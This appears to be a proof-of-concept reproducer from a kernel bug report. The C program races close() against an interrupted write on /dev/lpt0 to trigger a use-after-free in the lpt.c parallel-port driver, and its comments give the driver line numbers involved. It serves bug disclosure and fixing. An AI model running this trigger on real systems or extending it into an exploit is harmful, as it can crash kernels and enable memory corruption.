DF-4534 / close_lifetime.c
/* * DF-4534 -- lpt.c lptclose() frees sc_inbuf/sc_statbuf while the lptout * callout and the registered lpt IRQ handler may still be executing. * * Per cycle: * 1. open /dev/lpt0 (interrupt-driven; arms the lptout callout, which * due to DF-1680 fires every 1 tick = 10ms). * 2. fork a child that write()s 16 MB; after 60ms parent signals it. * write() returns EINTR with sc_xfercnt > 0, INTERRUPTED set, the * self-sustaining IRQ chain still strobing bytes (QEMU raises IRQ 7 * on every strobe-clear with LPC_ENA, so lpt_intr runs at high rate). * 3. parent close(fd): because INTERRUPTED is set, lptclose skips the * drain loop and immediately does callout_stop() (lpt.c:596) then * kfree(sc_inbuf/sc_statbuf) (lpt.c:598-599) -- while an in-flight * lptout/lpt_intr on another CPU may be between the HAVEBUS check * and `ppb_wdtr(ppbus, *sc->sc_cp++)' (lpt.c:856), and while the * interrupt handler is still registered (teardown only happens in * ppb_release_bus at lpt.c:605, AFTER the kfree). * * A use-after-free read here is silent (the byte goes to the port), so * externally we watch for: guest panic, or anomalous bytes on the * host-side capture file after the free point. * * ./close_lifetime <cycles> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <sys/wait.h> static void usr1(int sig __attribute__((unused))) { } int main(int argc, char **argv) { int cycles = (argc > 1) ? atoi(argv[1]) : 400; int i; for (i = 0; i < cycles; i++) { int fd = open("/dev/lpt0", O_WRONLY); if (fd < 0) { perror("open"); return 2; } pid_t pid = fork(); if (pid == 0) { static char buf[16 * 1024 * 1024]; signal(SIGUSR1, usr1); memset(buf, 'W', sizeof(buf)); ssize_t r = write(fd, buf, sizeof(buf)); fprintf(stderr, "[c] write -> %zd errno=%d\n", r, errno); _exit(0); } usleep(60000); /* let the transfer get going */ kill(pid, SIGUSR1); waitpid(pid, NULL, 0); close(fd); /* INTERRUPTED set: instant kfree window */ if ((i % 50) == 0) { printf("[*] cycle %d\n", i); fflush(stdout); } } printf("[*] done %d cycles\n", cycles); return 0; } |